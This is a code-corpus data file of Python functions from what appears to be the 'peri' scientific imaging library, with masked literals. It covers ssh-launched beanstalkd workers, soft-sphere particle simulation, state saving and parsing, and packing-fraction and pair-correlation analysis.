{"signature": "def launch_all(script, hosts, jobs, bean_port=DEFAULT_BEANSTALKD, docopy=True):", "body": "import beanstalkc as bean<EOL>def beanstalk(bean_port=DEFAULT_BEANSTALKD):<EOL><INDENT>bean = '<STR_LIT>'.format(LOCALHOST, bean_port)<EOL>check_output(bean, shell=True)<EOL><DEDENT>def copy_script(script, host):<EOL><INDENT>name = host.get('<STR_LIT:host>')<EOL>fldr = host.get('<STR_LIT>', '<STR_LIT>')<EOL>proc = host.get('<STR_LIT>', <NUM_LIT:1>)<EOL>env = host.get('<STR_LIT>', {})<EOL>tmpfile = '<STR_LIT>'.format(os.path.join(fldr, uuid.uuid4().hex))<EOL>ssh = '<STR_LIT>'.format(<EOL>script=script, name=name, tmpfile=tmpfile<EOL>)<EOL>check_output(ssh, shell=True)<EOL>return tmpfile<EOL><DEDENT>def sshtunnel(host, bean_port=DEFAULT_BEANSTALKD):<EOL><INDENT>ssh = '<STR_LIT>'.format(forward=fwd, name=name)<EOL>check_output(ssh, shell=True)<EOL><DEDENT>def launch(script, host, bean_port=DEFAULT_BEANSTALKD, index=<NUM_LIT:0>):<EOL><INDENT>name = host.get('<STR_LIT:host>')<EOL>fldr = host.get('<STR_LIT>', '<STR_LIT>')<EOL>proc = host.get('<STR_LIT>', <NUM_LIT:1>)<EOL>env = host.get('<STR_LIT>', {})<EOL>var = '<STR_LIT:U+0020>'.join(['<STR_LIT>'.format(k, v, k) for k,v in env.items()])<EOL>env = '<STR_LIT>'.format(var, fldr)<EOL>fwd = '<STR_LIT>'.format(bean_port, bean_port)<EOL>log = '<STR_LIT>'.format(index)<EOL>cmd = '<STR_LIT>'.format(env, script, bean_port, proc)<EOL>ssh = '<STR_LIT>'.format(forward=fwd, name=name, cmd=cmd, log=log)<EOL>check_output(ssh, shell=True)<EOL><DEDENT>clean_hosts = []<EOL>for h in hosts:<EOL><INDENT>clean_hosts.append({'<STR_LIT:host>': h} if isinstance(h, str) else h)<EOL><DEDENT>hosts = clean_hosts<EOL>procs = {}<EOL>log.info('<STR_LIT>')<EOL>procs[-<NUM_LIT:1>] = Process(target=beanstalk, args=(bean_port,))<EOL>procs[-<NUM_LIT:1>].start()<EOL>time.sleep(<NUM_LIT:1>)<EOL>log.info('<STR_LIT>')<EOL>for i, host in enumerate(hosts):<EOL><INDENT>log.info('<STR_LIT>'.format(host))<EOL>o = len(hosts)<EOL>tmpscript = script if not docopy else copy_script(script, host)<EOL>procs[i] = Process(target=launch, args=(tmpscript, host, bean_port, i))<EOL>procs[i].start()<EOL><DEDENT>time.sleep(<NUM_LIT:10>)<EOL>def signal_handler():<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>for p in procs.values():<EOL><INDENT>p.join(timeout=<NUM_LIT>)<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>log.info('<STR_LIT>')<EOL>bsd = bean.Connection(host=LOCALHOST, port=bean_port, connect_timeout=<NUM_LIT:10>)<EOL>for job in jobs:<EOL><INDENT>log.info('<STR_LIT>'.format(job))<EOL>bsd.put(json.dumps(job))<EOL><DEDENT>try:<EOL><INDENT>while True:<EOL><INDENT>for i in procs.keys():<EOL><INDENT>procs[i].join(timeout=<NUM_LIT:1.0>)<EOL><DEDENT><DEDENT><DEDENT>except (KeyboardInterrupt, SystemExit):<EOL><INDENT>signal_handler()<EOL><DEDENT>", "docstring": "Launch a group of workers spread across a group of machines which listen on\na beanstalkd queue and perform tasks. This main process controls the others\nby launching the script through ssh and killing them when this main process\nis killed. Note that this launch happens over ssh, so it is recommended\nthat you have ssh-agent running to avoid a ridiculous number of password\nentries.\n\nParameters:\n-----------\nscript : string\n    The filename of the script to run\n\nhosts : list of dictionaries or list of strings\n    Each entry in the list should describe a host, containing the keys:\n        \"host\" : either user@host or host (no default)\n        \"proc\" : number of processes to launch (default 1)\n        \"fldr\" : working directory (default /tmp)\n        \"env\" : extra environment variables which need to be set\n    If list of strings, is simply hostnames\n\nbean_port : int\n    beanstalk port which to open\n\ndocopy : boolean\n    whether to remotely copy the script to the new machine", "id": "f5762:m4"}
{"signature": "def __init__(self, N=<NUM_LIT>, phi=<NUM_LIT>, radius=<NUM_LIT>, polydispersity=<NUM_LIT:0.0>, beta=<NUM_LIT:1>,<EOL>epsilon=<NUM_LIT>, T=<NUM_LIT:1>, dt=<NUM_LIT>, dim=<NUM_LIT:3>, box_side_ratio=<NUM_LIT:1.0>):", "body": "self.N = N<EOL>self.phi = phi<EOL>self.beta = beta<EOL>self.epsilon = epsilon<EOL>self.T = T<EOL>self.dt = dt<EOL>self.radius = radius<EOL>self.polydispersity = polydispersity<EOL>self.box_side_ratio = box_side_ratio<EOL>self.dim = int(dim)<EOL>if self.dim == <NUM_LIT:2>:<EOL><INDENT>self.box_side = (self.N*np.pi*self.radius**<NUM_LIT:2> / self.phi)**(<NUM_LIT:1.>/<NUM_LIT:2>)<EOL>self.box = np.array([self.box_side]*self.dim)<EOL><DEDENT>if self.dim == <NUM_LIT:3>:<EOL><INDENT>self.box_side = (self.N*<NUM_LIT>/<NUM_LIT:3>*np.pi*self.radius**<NUM_LIT:3> / self.phi)**(<NUM_LIT:1.>/<NUM_LIT:3>)<EOL>sxy = self.box_side/np.sqrt(self.box_side_ratio)<EOL>sz  = self.box_side*self.box_side_ratio<EOL>self.box = np.array([sz, sxy, sxy])<EOL><DEDENT>self.init_random()<EOL>", "docstring": "Creates a simulation of soft sphere particles. By default, creates\nparticles in a random uniform (perhaps overlapping) distribution of\nparticles inside a box dimension `dim` given a packing fraction\n\nParameters:\n-----------\nN : integer [default: 500]\n    the number of particles in the simulation\n\nphi : float \n    packing fraction to use while initializing the particles\n\nradius : float [default: 5]\n    mean radius of the particles, see polydispersity\n\npolydispersity : float [default: 0]\n    relative polydispersity goal sqrt(<(a-<a>)^2>)/<a>\n\nbeta : float\n    damping parameter f = -beta v\n\nepsilon : float\n    force constant for the soft-sphere potential f = \\epsilon (1-d/d_0)^{3/2}\n\nT : float\n    temperature of the system\n\ndt : float\n    timestep for the integrator\n\ndim : integer [default: 3]\n    number of dimensions for the simulation\n\nbox_side_ratio : float [default: 1]\n    ratio of the box's z height to original z height before scaling.\n    therefore, you can squish the box by half (while elongating the\n    sides) by setting box_side_ratio=0.5", "id": "f5763:c0:m0"}
{"signature": "def init_random(self):", "body": "self.pos = self.box[None,:]*np.random.rand(self.N,self.dim)<EOL>self.rad = self.radius*(<NUM_LIT:1> + self.polydispersity*np.random.randn(self.N))<EOL>self.rad = np.clip(self.rad, <NUM_LIT>, <NUM_LIT>)<EOL>self.vel = <NUM_LIT:0>*self.pos<EOL>", "docstring": "Place the current particles into a stationary, random distribution\nand create a polydispersity for the radii", "id": "f5763:c0:m1"}
{"signature": "def force_damp(self):", "body": "return - self.beta * self.vel<EOL>", "docstring": "Calculate the damping force -beta v", "id": "f5763:c0:m2"}
{"signature": "def force_noise(self):", "body": "coeff = np.sqrt(<NUM_LIT:2>*self.T*self.beta/self.dt)<EOL>return coeff * np.random.randn(*self.pos.shape)<EOL>", "docstring": "Calculate the effective force of the Langevin dynamics", "id": "f5763:c0:m3"}
{"signature": "def boundary_condition(self):", "body": "for i in range(self.dim):<EOL><INDENT>mask = (self.pos[:,i] < <NUM_LIT:0>)<EOL>self.pos[mask,i] = <NUM_LIT:2>*<NUM_LIT:0>-self.pos[mask,i]<EOL>self.vel[mask,i] *= -<NUM_LIT:1><EOL>mask = (self.pos[:,i] > self.box[i])<EOL>self.pos[mask,i] = <NUM_LIT:2>*self.box[i]-self.pos[mask,i]<EOL>self.vel[mask,i] *= -<NUM_LIT:1><EOL><DEDENT>", "docstring": "Apply hard reflective boundary conditions to particles", "id": "f5763:c0:m4"}
{"signature": "def integrate(self, forces):", "body": "self.vel += forces*self.dt<EOL>self.pos += self.vel*self.dt<EOL>", "docstring": "Integrate the equations of motion. For this simple integrator, we are\nusing the simplest sympletic integrator, NSV where\n\n    v_{n+1} = v_n + f*dt\n    x_{n+1} = x_n + v_{n+1}*dt\n\nParameters:\n-----------\nforces : ndarray[N,dim]\n    the forces on each particle", "id": "f5763:c0:m5"}
{"signature": "def step(self, steps=<NUM_LIT:1>):", "body": "for step in range(steps):<EOL><INDENT>self.forces = self.force_hertzian() + self.force_damp() + self.force_noise()<EOL>self.integrate(self.forces)<EOL>self.boundary_condition()<EOL><DEDENT>", "docstring": "Perform a set of integration / BC steps including finite temperature\n\nParameters:\n-----------\nsteps : int\n    number of time steps of size self.dt to perform", "id": "f5763:c0:m6"}
{"signature": "def relax(self, steps=<NUM_LIT:1000>):", "body": "for step in range(steps):<EOL><INDENT>self.forces = self.force_hertzian() + self.force_damp()<EOL>self.integrate(self.forces)<EOL>self.boundary_condition()<EOL><DEDENT>", "docstring": "Relax the current configuration using just pair wise forces (no noise)", "id": "f5763:c0:m7"}
{"signature": "def force_hertzian(self):", "body": "N = self.N<EOL>pos, rad = self.pos, self.rad<EOL>f = np.zeros_like(pos)<EOL>for i in range(N):<EOL><INDENT>rij = pos[i] - pos<EOL>dij = rad[i] + rad<EOL>dist = np.sqrt((rij**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>))<EOL>mask = (dist > <NUM_LIT:0>)&(dist < dij)<EOL>rij = rij[mask]<EOL>dij = dij[mask][:,None]<EOL>dist = dist[mask][:,None]<EOL>if len(rij) > <NUM_LIT:0>:<EOL><INDENT>forces = self.epsilon*(<NUM_LIT:1>-dist/dij)**<NUM_LIT:2> * rij/dist<EOL>f[i] += forces.sum(axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>return f<EOL>", "docstring": "Return the force on all spheres, do naive all-all interaction, so as\nto not introduce new dependencies in the code (like anaconda jit)", "id": "f5763:c0:m8"}
{"signature": "def create_state(image, pos, rad, slab=None, sigma=<NUM_LIT>, conf=conf_simple):", "body": "<EOL>if not hasattr(rad, '<STR_LIT>'):<EOL><INDENT>rad = rad*np.ones(pos.shape[<NUM_LIT:0>])<EOL><DEDENT>model = models.models[conf.get('<STR_LIT>')]()<EOL>components = []<EOL>for k,v in iteritems(conf.get('<STR_LIT>', {})):<EOL><INDENT>args = conf.get('<STR_LIT:args>').get(k, {})<EOL>comp = model.registry[k][v](**args)<EOL>components.append(comp)<EOL><DEDENT>sphs = objs.PlatonicSpheresCollection(pos, rad)<EOL>if slab is not None:<EOL><INDENT>sphs = ComponentCollection([sphs, objs.Slab(zpos=slab+pad)], category='<STR_LIT>')<EOL><DEDENT>components.append(sphs)<EOL>s = states.ImageState(image, components, sigma=sigma)<EOL>if isinstance(image, util.NullImage):<EOL><INDENT>s.model_to_data()<EOL><DEDENT>return s<EOL>", "docstring": "Create a state from a blank image, set of pos and radii\n\nParameters:\n-----------\nimage : `peri.util.Image` object\n    raw confocal image with which to compare.\n\npos : initial conditions for positions (in raw image coordinates)\nrad : initial conditions for radii array (can be scalar)\nsigma : float, noise level\n\nslab : float\n    z-position of the microscope slide in the image (pixel units)", "id": "f5764:m2"}
{"signature": "def create_many_particle_state(imsize=None, N=None, phi=None, radius=<NUM_LIT>,<EOL>polydispersity=<NUM_LIT:0.0>, seed=None, **kwargs):", "body": "_seed_or_not(seed)<EOL>if imsize is not None:<EOL><INDENT>imsize = _toarr(imsize)<EOL>tile = util.Tile(imsize)<EOL><DEDENT>else:<EOL><INDENT>tile = None<EOL><DEDENT>pos, rad, tile = nbody.create_configuration(<EOL>N, tile, radius=radius, phi=phi, polydispersity=polydispersity<EOL>)<EOL>s = create_state(util.NullImage(shape=tile.shape), pos, rad, **kwargs)<EOL>if isinstance(s.get('<STR_LIT>'), ilms.BarnesStreakLegPoly2P1D):<EOL><INDENT>ilm = s.get('<STR_LIT>')<EOL>ilm.randomize_parameters()<EOL>s.reset()<EOL>s.model_to_data(s.sigma)<EOL><DEDENT>return s<EOL>", "docstring": "Creates a random packing of spheres and generates the state. In order to\nspecify the state, either (phi, imsize) or (N, phi) or (N, imsize) must be\ngiven. Any more than that and it would be over-specified.\n\nParameters:\n-----------\nimsize : tuple, array_like, or integer\n    the unpadded image size to fill with particles\n\nN : integer\n    number of particles\n\nphi : float\n    packing fraction\n\nradius : float\n    radius of particles to add\n\nN : integer\n    Number of particles\n\nseed : integer\n    set the seed if desired\n\n*args, **kwargs : see create_state", "id": "f5764:m3"}
{"signature": "def create_single_particle_state(imsize, radius=<NUM_LIT>, seed=None, **kwargs):", "body": "_seed_or_not(seed)<EOL>imsize = _toarr(imsize)<EOL>pos = imsize.reshape(-<NUM_LIT:1>,<NUM_LIT:3>)/<NUM_LIT><EOL>rad = radius<EOL>return create_state(util.NullImage(shape=imsize), pos, rad, **kwargs)<EOL>", "docstring": "Creates a single particle state\n\nParameters:\n-----------\nimsize : tuple, array_like, or integer\n    the unpadded image size to fill with particles\n\nradius : float\n    radius of particles to add\n\nseed : integer\n    set the seed if desired\n\n*args, **kwargs : see create_state", "id": "f5764:m4"}
{"signature": "def create_two_particle_state(imsize, radius=<NUM_LIT>, delta=<NUM_LIT:1.0>, seed=None, axis='<STR_LIT:x>', **kwargs):", "body": "_seed_or_not(seed)<EOL>imsize = _toarr(imsize)<EOL>comp = {'<STR_LIT:x>': <NUM_LIT:2>, '<STR_LIT:y>': <NUM_LIT:1>, '<STR_LIT:z>': <NUM_LIT:0>}<EOL>t = float(radius)+float(delta)/<NUM_LIT:2><EOL>d = np.array([<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL>d[comp[axis]] = t<EOL>pos = np.array([imsize/<NUM_LIT> - d, imsize/<NUM_LIT> + d]).reshape(-<NUM_LIT:1>,<NUM_LIT:3>)<EOL>rad = np.array([radius, radius])<EOL>return create_state(util.NullImage(shape=imsize), pos, rad, **kwargs)<EOL>", "docstring": "Creates a two particle state\n\nParameters:\n-----------\nimsize : tuple, array_like, or integer\n    the unpadded image size to fill with particles\n\nradius : float\n    radius of particles to add\n\ndelta : float\n    separation between the two particles\n\nseed : integer\n    set the seed if desired\n\n*args, **kwargs : see create_state", "id": "f5764:m5"}
{"signature": "def sorted_files(globber, num_sort=True, num_indices=None, return_num=False):", "body": "files = glob.glob(globber)<EOL>files.sort()<EOL>if not num_sort:<EOL><INDENT>return files<EOL><DEDENT>num_indices = num_indices or np.s_[:]<EOL>allfiles = []<EOL>for fn in files:<EOL><INDENT>nums = re.findall(r'<STR_LIT>', fn)<EOL>data = [int(n) for n in nums[num_indices]] + [fn]<EOL>allfiles.append(data)<EOL><DEDENT>allfiles = sorted(allfiles)<EOL>if return_num:<EOL><INDENT>return allfiles<EOL><DEDENT>return [f[-<NUM_LIT:1>] for f in allfiles]<EOL>", "docstring": "Give a globbing expression of files to find. They will be sorted upon return.\nThis function is most useful when sorting does not provide numerical order,\ne.g.:\n    9 -> 12 returned as 10 11 12 9 by string sort\n\nIn this case use num_sort=True, and it will be sorted by numbers whose index\nis given by num_indices (possibly None for all numbers) then by string.", "id": "f5765:m0"}
{"signature": "def dict_to_pos_rad(d):", "body": "p, r = [], []<EOL>for i in itertools.count():<EOL><INDENT>try:<EOL><INDENT>p.append([d['<STR_LIT>'.format(i, c)] for c in '<STR_LIT>'])<EOL>r.append(d['<STR_LIT>'.format(i)])<EOL><DEDENT>except KeyError:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return np.array(p), np.array(r)<EOL>", "docstring": "Given a dictionary of a states params:values, returns the pos & rad.", "id": "f5765:m1"}
{"signature": "def state_to_ordereddict(st, include_iminfo=True):", "body": "od = OrderedDict()<EOL>for p in st.params:<EOL><INDENT>od.update({p:st.state[p]})<EOL><DEDENT>if include_iminfo:<EOL><INDENT>od.update({ '<STR_LIT>':st.image.filename,<EOL>'<STR_LIT>':str(st.image.tile)})<EOL><DEDENT>return od<EOL>", "docstring": "Represents a state as an OrderedDict\n\n    Parameters\n    ----------\n        st : :class:``peri.states.State``\n            The state to represent.\n        include_iminfo : Bool, optional\n            If set, includes two additional keys, ``'image.filename'`` and\n            ``'image.tile'`` with corresponding info about the image.\n            Default is True.\n\n    Returns\n    -------\n        ``collections.OrderedDict``", "id": "f5765:m2"}
{"signature": "def save_as_dict(st, save_name, include_iminfo=True, align_text=True):", "body": "if align_text:<EOL><INDENT>separators=('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>separators=('<STR_LIT:U+002CU+0020>', '<STR_LIT>')<EOL><DEDENT>with open(save_name, '<STR_LIT:wb>') as f:<EOL><INDENT>json.dump(state_to_ordereddict(st, include_iminfo=include_iminfo),<EOL>f, separators=separators)<EOL><DEDENT>", "docstring": "Saves a state as a json dict file, in a human-readable order.\n\n    Parameters\n    ---------\n        st : :class:``peri.states.State``\n            The state to save.\n        save_name : string\n            Complete filename to save as.\n        include_iminfo : Bool, optional\n            If set, includes two additional keys, ``'image.filename'`` and\n            ``'image.tile'`` with corresponding info about the image.\n            Default is True.\n        align_text : Bool, optional\n            Changes json separators to include a newline and tab, to make\n            the saved dict easier to read by humans. Default is True.\n\n    See Also\n    --------\n    state_to_ordereddict\n    batch_saveasdict", "id": "f5765:m3"}
{"signature": "def batch_saveasdict(load_dir, load_names, save_dir, align_text=True,<EOL>include_iminfo=True):", "body": "os.chdir(load_dir)<EOL>for nm in load_names:<EOL><INDENT>save_name = os.path.join(save_dir, nm + '<STR_LIT>')<EOL>try:<EOL><INDENT>st = states.load(nm+'<STR_LIT>')<EOL><DEDENT>except IOError:<EOL><INDENT>log.error('<STR_LIT>'.format(nm))<EOL>continue<EOL><DEDENT>log.error('<STR_LIT>'.format(nm))<EOL>save_as_dict(st, save_name, include_iminfo=include_iminfo, align_text=<EOL>align_text)<EOL><DEDENT>", "docstring": "Batch loads state, transforms to an OrderedDict, saves as a json with\nextension ``.json``.\n\nParameters\n---------\n    load_dir : String\n        The name of the directory to load the states from.\n    load_names : Iterable\n        Names of the states to load, without the ``.pkl`` extension.\n    save_dir: String\n        The name of the directory to save the json dicts to.\n    align_text : Bool, optional\n        Changes json separators to include a newline and tab, to make\n        the saved dict easier to read by humans. Default is True.\n    include_iminfo : Bool, optional\n        If set, includes two additional keys, ``'image.filename'`` and\n        ``'image.tile'`` with corresponding info about the image.\n        Default is True.", "id": "f5765:m4"}
{"signature": "def parse_json(filename, inbox=True, inboxrad=False, fullinbox=False):", "body": "dct = json.load(open(filename, '<STR_LIT:rb>'))<EOL>zyxr = []<EOL>for a in itertools.count():<EOL><INDENT>try:<EOL><INDENT>zyxr.append([dct['<STR_LIT>'.format(a, c)] for c in '<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>break<EOL><DEDENT><DEDENT>zyxr = np.array(zyxr)<EOL>pos = zyxr[:,:<NUM_LIT:3>].copy()<EOL>rad = zyxr[:,-<NUM_LIT:1>].copy()<EOL>if inbox or inboxrad or fullinbox:<EOL><INDENT>try:<EOL><INDENT>imtile = dct['<STR_LIT>']<EOL>ishape_l = eval(imtile.split('<STR_LIT:(>')[-<NUM_LIT:1>].split('<STR_LIT:)>')[<NUM_LIT:0>])<EOL>ishape = np.array(ishape_l)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>mask = good_particles(None, inbox=inbox, inboxrad=inboxrad,<EOL>fullinbox=fullinbox, pos=pos, rad=rad, ishape=ishape)<EOL>pos = pos[mask].copy()<EOL>rad = rad[mask].copy()<EOL><DEDENT>return pos, rad<EOL>", "docstring": "Parse a json file as saved by batch_saveasdict into positions & radii\n\nParameters\n----------\n    filename : String\n        The file name of the json dict to load.\n    inbox : Bool, optional\n        Whether to only return particles inside the image. Requires a\n        key ``'image.tile'`` in the saved json dictionary. Default is\n        True.\n    inboxrad : Bool, optional\n        Whether to only return particles that at least partially\n        overlap the image. Requires a key ``'image.tile'`` in the saved\n        json dictionary. Default is False.\n    fullinbox : Bool, optional\n        Whether to only return particles completely inside the image.\n        Requires a key ``'image.tile'`` in the saved json dictionary.\n        Default is False.\n\nReturns\n-------\n    pos, rad : numpy.ndarray\n        The particle positions [N, [z,y,x]] and radii [N,].", "id": "f5765:m5"}
{"signature": "def good_particles(state, inbox=True, inboxrad=False, fullinbox=False,<EOL>pos=None, rad=None, ishape=None):", "body": "if pos is None:<EOL><INDENT>pos = state.obj_get_positions()<EOL><DEDENT>if rad is None:<EOL><INDENT>rad = state.obj_get_radii()<EOL><DEDENT>mask = rad > <NUM_LIT:0><EOL>if (inbox | inboxrad | fullinbox):<EOL><INDENT>if fullinbox:<EOL><INDENT>mask &= trim_box(state, pos, rad=-rad, ishape=ishape)<EOL><DEDENT>elif inboxrad:<EOL><INDENT>mask &= trim_box(state, pos, rad=rad, ishape=ishape)<EOL><DEDENT>else:<EOL><INDENT>mask &= trim_box(state, pos, rad=None, ishape=ishape)<EOL><DEDENT><DEDENT>return mask<EOL>", "docstring": "Returns a mask of `good' particles as defined by\n    * radius > 0\n    * position inside box\n\nParameters\n----------\n    state : :class:`peri.states.ImageState`\n        The state to identify the good particles. If pos, rad, and ishape\n        are provided, then this does not need to be passed.\n    inbox : Bool\n        Whether to only count particle centers within the image. Default\n        is True.\n    inboxrad : Bool\n        Whether to only count particles that overlap the image at all.\n        Default is False.\n    fullinbox : Bool\n        Whether to only include particles which are entirely in the\n        image. Default is False\n    pos : [3,N] np.ndarray or None\n        If not None, the particles' positions.\n    rad : [N] element numpy.ndarray or None\n        If not None, the particles' radii.\n    ishape : 3-element list-like or None\n        If not None, the inner region of the state.\n\nReturns\n-------\n    mask : np.ndarray of bools\n        A boolean mask of which particles are good (True) or bad.\nSee Also\n--------\n    trim_box", "id": "f5765:m6"}
{"signature": "def trim_box(state, p, rad=None, ishape=None):", "body": "if ishape is None:<EOL><INDENT>ishape = state.ishape.shape<EOL><DEDENT>if rad is None:<EOL><INDENT>return ((p > <NUM_LIT:0>) & (p < np.array(ishape))).all(axis=-<NUM_LIT:1>)<EOL><DEDENT>return ((p+rad[:,None] > <NUM_LIT:0>) & (p-rad[:,None] < np.array(ishape))).all(axis=-<NUM_LIT:1>)<EOL>", "docstring": "Returns particles within the image.\n\nIf rad is provided, then particles that intersect the image at all\n(p-r) > edge are returned.\n\nParameters\n----------\n    state : :class:`peri.states.ImageState`\n        The state to analyze.\n    p : numpy.ndarray\n        The particle positions\n    rad : numpy.ndarray or None, optional\n        Set to a numpy.ndarray to include all particles within `rad`\n        of the image edge. Default is None, only including particles\n        within the image.\n    ishape : list-like or None, optional\n        3-element list of the region of the interior image. Default is\n        None, which uses state.ishape.shape (the interior image shape)\n\nReturns\n-------\n    numpy.ndarray\n        Boolean mask, True for indices of good particle positions.\n\nSee Also\n--------\n    good_particles", "id": "f5765:m7"}
{"signature": "def nearest(p0, p1, cutoff=None):", "body": "ind0, ind1 = [], []<EOL>for i in range(len(p0)):<EOL><INDENT>dist = np.sqrt(((p0[i] - p1)**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>))<EOL>if cutoff is None:<EOL><INDENT>ind1.append(dist.argmin())<EOL><DEDENT>elif dist.min() < cutoff:<EOL><INDENT>ind0.append(i)<EOL>ind1.append(dist.argmin())<EOL><DEDENT><DEDENT>if cutoff is None:<EOL><INDENT>return ind1<EOL><DEDENT>return ind0, ind1<EOL>", "docstring": "Correlate closest particles with each other (within cutoff).\n\nReturns ind0, ind1 so that p0[ind0] is close to p1[ind1].\n\nParameters\n----------\n    p0, p1 : numpy.ndarray\n        The particle positions.\n    cutoff : Float or None, optional\n        If not None, only returns particle indices with distance less\n        than `cutoff`. Default is None.\n\nReturns\n-------\n    ind0, ind1 : List\n        The lists of particle indices, p0[ind0] is close to p1[ind1].", "id": "f5765:m8"}
{"signature": "def gofr(pos, rad, zscale, diameter=None, resolution=<NUM_LIT>, rmax=<NUM_LIT:10>, method='<STR_LIT>',<EOL>normalize=None, mask_start=None, phi_method='<STR_LIT>', phi=None, state=None):", "body": "diameter = diameter or <NUM_LIT:2>*rad.mean()<EOL>vol_particle = <NUM_LIT>/<NUM_LIT:3>*np.pi*(diameter)**<NUM_LIT:3><EOL>if phi_method == '<STR_LIT>':<EOL><INDENT>phi = phi or <NUM_LIT:1><EOL><DEDENT>if phi_method == '<STR_LIT:state>':<EOL><INDENT>phi = packing_fraction_state(state)<EOL><DEDENT>num_density = phi / vol_particle<EOL>if method == '<STR_LIT>':<EOL><INDENT>normalize = normalize or True<EOL>o = gofr_normal(pos, rad, zscale)<EOL>rmin = <NUM_LIT:0><EOL><DEDENT>if method == '<STR_LIT>':<EOL><INDENT>normalize = normalize or False<EOL>o = diameter*gofr_surfaces(pos, rad, zscale)<EOL>rmin = -<NUM_LIT:1><EOL><DEDENT>bins = np.linspace(rmin, diameter*rmax, diameter*rmax/resolution, endpoint=False)<EOL>y,x = np.histogram(o, bins=bins)<EOL>x = (x[<NUM_LIT:1>:] + x[:-<NUM_LIT:1>])/<NUM_LIT:2><EOL>if mask_start is not None:<EOL><INDENT>mask = x > mask_start<EOL>x = x[mask]<EOL>y = y[mask]<EOL><DEDENT>if normalize:<EOL><INDENT>y = y/(<NUM_LIT:4>*np.pi*x**<NUM_LIT:2>)<EOL><DEDENT>return x/diameter, y/(resolution * num_density * float(len(rad)))<EOL>", "docstring": "Pair correlation function calculation from 0 to rmax particle diameters\n\nmethod : str ['normal', 'surface']\n    represents the gofr calculation method\n\nnormalize : boolean\n    if None, determined by method, otherwise 1/r^2 norm\n\nphi_method : str ['obj', 'state']\n    which data to use to calculate the packing_fraction.\n        -- 'pos' : (not stable) calculate based on fractional spheres in\n            a cube, do not use\n\n        -- 'const' : the volume fraction is provided by the user via\n            the variable phi\n\n        -- 'state' : the volume is calculated by using the platonic sphere\n            image of a given state. must provide argument state", "id": "f5765:m11"}
{"signature": "def packing_fraction_obj(pos, rad, shape, inner, zscale=<NUM_LIT:1>):", "body": "obj = PlatonicSpheresCollection(pos, rad, shape=shape, zscale=zscale)<EOL>return obj.get()[inner].mean()<EOL>", "docstring": "Calculates the packing fraction of a group of spheres.\n\nOperates by creating an accurate, volume-conserving image of spheres\nand finding the volume fraction in that image. This correctly deals\nwith edge-effects.\n\nParameters\n----------\n    pos : numpy.ndarray\n        [N,3] array of particle positions. Only the ones inside\n        shape[inner] are counted.\n    rad : numpy.ndarray\n        N-element array of particle radii.\n    shape : List-like\n        3-element list-like of the image shape.\n    inner :\n\nReturns\n-------\n    Float\n        The volume fraction", "id": "f5765:m12"}
{"signature": "def packing_fraction_state(state):", "body": "return state.get('<STR_LIT>').get()[state.inner].mean()<EOL>", "docstring": "Calculates the packing fraction of a state.\n\nParameters\n----------\n    state : :class:`peri.states.ImageState`\n\nReturns\n-------\n    Float\n        The volume fraction", "id": "f5765:m13"}
{"signature": "def average_packing_fraction(state, samples):", "body": "phi = []<EOL>for p,r in iter_pos_rad(state, samples):<EOL><INDENT>phi.append(packing_fraction(p,r,state=state))<EOL><DEDENT>phi = np.array(phi)<EOL>return phi.mean(axis=<NUM_LIT:0>)[<NUM_LIT:0>], phi.std(axis=<NUM_LIT:0>)[<NUM_LIT:0>]/np.sqrt(len(phi))<EOL>", "docstring": "Calculates the packing fraction of a state with a collection of sampled\npositions and radii.\n\nUsing a collection of sampled radii alows an estimate of the error in\nthe packing fraction.\n\nParameters\n----------\n    state : :class:`peri.states.ImageState`\n    samples : Iterable\n        List/iterator/generator of the positions and radii at each\n        independent sample. samples[i] = [pos, rad]\n\nReturns\n-------\n    phi : Float\n        The mean volume fraction across all samples.\n    err : Float\n        The standard error of the mean from the sampling;\n        phis.std() / sqrt(len(phis))", "id": "f5765:m14"}
{"signature": "def __init__(self, x, d, filter_size=None, iterations=<NUM_LIT:4>, clip=False,<EOL>clipsize=<NUM_LIT:3>, damp=<NUM_LIT>, blocksize=None, donorm=True):", "body": "self.x = x<EOL>self.d = d<EOL>self.damp = damp<EOL>self.clip = clip<EOL>self.iterations = iterations<EOL>self.donorm = donorm<EOL>self.blocksize = blocksize<EOL>if filter_size is None:<EOL><INDENT>self.filter_size = self._default_filter_size()<EOL><DEDENT>else:<EOL><INDENT>self.filter_size = filter_size<EOL><DEDENT>self.clipsize = clipsize * self.filter_size<EOL>", "docstring": "1-d barnes interpolation. Give data points d at locations x.\n\n        See [1]_, equations 1-7 for implementation.\n\n        Parameters\n        ----------\n        x : ndarray, 1-dimensional\n            input positions, x values for data points\n\n        d : ndarray, 1-dimensional\n            input values, y values for data points\n\n        filter_size : float, optional.\n            control parameter for weight function (sigma), should be the\n            average data spacing. Defaults to the average distance for\n            sorted ``x``.\n\n        iterations : integer, optional\n            how many iterations to perform. only two needed with a high damping\n            Defaults to 4\n\n        clip : boolean, optional\n            whether to clip the number of data points used by the filtersize\n            Default is False\n\n        clipsize : float, optional\n            Total clipsize is determined by clipsize * filter_size\n            Default is 3\n\n        damp : float, optional\n            the damping parameter used in accelerating convergence. Default\n            is 0.95\n\n        blocksize : Int or None, optional\n            Memory-based performance feature. For very large ``x`` or ``d``\n            calculating the distance matrix between each point can require\n            excessive memory overhead. To avoid this, set ``blocksize`` to\n            a moderate int, causing the Barnes to compute the distance\n            matrix in blocks. Does not change the final results. Default is\n            None, which uses all the data all at once, using lots of mem.\n\n        donorm : bool, optional\n            If False, uses an old, incorrect method to evaluate the interpolant\n            rather than the correct version. Default is True. If you're using\n            this, set it to True.\n\n        Examples\n        --------\n        >>> import numpy as np\n        >>> x_known = np.linspace(0, np.pi, 10)\n        >>> d_known = np.sin(x_known)\n        >>> barnes = BarnesInterpolation1D(x_known, d_known)\n        >>> x_check = np.linspace(0, np.pi, 11)\n        >>> np.allclose(barnes(x_check), np.sin(x_check), atol=1e-2)\n        True\n\n        References\n        ----------\n        .. [1] S. E. Koch, M. DesJardins, P. J. Kocin, J. Climate Appl.\n                Meteor. 22 1487-1503 